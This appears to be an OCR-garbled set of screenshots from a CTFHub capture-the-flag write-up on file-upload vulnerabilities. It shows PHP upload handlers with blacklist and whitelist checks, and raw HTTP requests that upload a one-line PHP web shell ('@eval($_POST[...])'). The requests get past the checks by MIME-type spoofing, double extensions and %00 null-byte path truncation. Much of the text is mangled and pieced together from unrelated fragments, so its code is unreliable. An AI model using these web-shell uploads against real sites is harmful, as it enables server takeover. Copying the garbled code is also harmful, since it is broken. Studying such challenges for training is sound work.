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if (lempty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)[ 'extension'];
$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv
", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
if (!in_array($ext, $blacklist)) {
if (move_uploaded_file($ FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert(' BRI )</script>";
echo " EAESCHEHEXBE/2<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert(' EfERK" )</script>";
¥
} else {
echo "<script>alert('SCHREAILE' )</script>";
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Qrigin: hitp: /ichallenge-049e10e10c274d9a sandbox ctthub.com: 10080
Connection: close

Referer: hitp:/ichallenge-049e10e10c274d% sandbox ctfhub.com: 10080/
Upgrade-Insecure-Requests: 1

----------------------------- 30750400524215498233277969308
Content-Disposition: form-data; name="file"; filename="xiaoma php"
Content-Type:imageigif

<7php
@eval(§_POST['south]);
7
————————————————————————————— 30750400524215498233277969308
Content-Disposition: form-data; name="submit"

Subrmit
............................. 30750400524215498233277969308--
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Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

<script=alert("_L{% i ¥))</script> L% ¢F131 % f2<br-uploadixiaoma.php < /DO CTYPE himi>

<html=
<head>
=meta charset="UTF-8">
<title>CTFHub 3 FF_E{% - MIMES; iE<itle>
</head>
<hody>
<h1=CTFHub Y #F kA% - MIMES: iE</h1>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:=label=
<input type="file" name="file" id="file" t>
<br k=
<input type="submit" name="submit" value="Submit" />
<fform>
<mody>
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<script=alert(" ¥ (2R ER, B iF A% jpeg jpa png gif 25940 fF)</script><!IDOCTYPE htmi=
<phtml=

¥ contenttype BL—B, ™
J% image/png

Access-Control-Allow-Methods: *

<script=alert(" X fF i iR')</script></DOCTYPE htmi=
<htmi=
<head=
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Upgrade-Insecure-Requests: 1
<script>alert(" k4% 0 )<iscript> k4% X FF 21 R <brouploadireal.php </DOCTYFE himi>

---97482872340666069031265926330 <himi=t
Content- D\sposl\o form-data; name="file"; filename="real php[ <head>
Contert-Type: image/png <meta charset="UTF-8">
<title=CTFHub L fF A% - X RF R ill<titie>
HNG <head>
a <body>
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if (lempty($_POST['submit'])) {
$name = basename($ FILES['file']['name']);
$info = pathinfo($name);
$ext = $info[ 'extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $ GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($ FILES['file']['tmp_name'], $des)) {
echo "<script>alert(' BRI )</script>";
} else {
echo "<script>alert(' EfERK" )</script>";
}
} else {
echo "ICHFEAUARILEL" ;
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$des = $ GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded file($ FILES['file']['tmp_name'], $des))
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POST /7road=ivariwww htmljupload/ HTTPA 1 | i
Host: challenge-94bdf98611e23cd4 sandbox ctfhub.com:10080

User-Agent: Mozilla/S.0 (Windows NT 10.0; WinE4; x64; rv:77.0) Gecko/20100101 Firefox/77.0

Accept: textmtml applicationfxhtmi+xml applicationfxml g=0.9 image/webp */*q=0.8

Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US;q=03 en;gq=0.2

Accept-Encoding: gzip, deflate

Contert-Type: multipart form-data; boundary= 347957944141006514883003609485
Content-Length: 15453

Origin: http: ichallenge-94bdf98611e23cd4 sandbox ctfhub.com: 10080

Connection: close

Referer. hitp: ichallenge-94bdf98611e23cd4 sandbox ctfhub.com: 10080/

Upgrade-Insecure-Requests: 1

3479579441410065
Cortent-Disposttion: form-data; name="file"; flename="simple jpg"
Cortent-Type: image/jpeg
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$des = $ GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
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_jymamy) reans | neauss | nea ) _Jymavey| neaveis | nea )
POST fAroad=/var/wwwhtmliuploadixiaoma php%00 HTTPA .5 A HTTPA 1 200 OK
Host: challenge-94bdTa861Te23cad sandbox cifhub com 10080 2 Server: openresty/1 158.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv.77.0) Gecko/20100101 Firefox/77.0 Date: Fri, 03 Jul 2020 14:36:29 GMT
Accept: texthtml application/xhtmi+xml application/xml;g=0.9 image/webp */*;q=0.8 Contert-Type: text/html,charset=utf-8
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Content-Length: 1081
Accept-Encoding: gzip, deflate Connection: close
Content-Type: multipart/form-data; boundary=----------- mmeremmmeee e 054670696 3055927 7372499298197 Vary: Accept-Encoding
Content-Length: 382 Access-Control-Allow-Origin: *
Origin: http: /ichallenge-94bdf98611e23cdd sandbox ctfhub com: 10080 Access-Control-Allow-Headers: X-Requested-With
Connection: close Access-Control-Allow-Methods: *
Referer: hittp: /ichallenge-94bdf98611e23cd4 box ctfhub.com:10080/?road=/var fwww htmliupload/
Upgrade-insecure-Requests: 1 escript=alert("_t-{% I )</script> <IDOCTYPE himi>
| <htm
----------------------------- 30546706963055927 137 2499298197
Content-Disposition: form-data; name="file"; ﬂl#nlme="xiaoma.ipg"| | <head>
Content-Type: imagefpeg L | <meta charset="UTF-8">
<title>CTFHub L FF L 1% - 00§ Wi<ttle>

<?php <head>

@eval($_POST['south’]);

7= <body=>
----------------------------- 305467069630559277372499298197 <n1=CTFHub X f_L-{% - 00 f&li<mi>
Content-Disposition: form-data; name="submit" <form action=7roacd=/varfwwwhtmliiupload/ method="post" enctype="muitipart.form-data"s
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$name = basename($ FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "

jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
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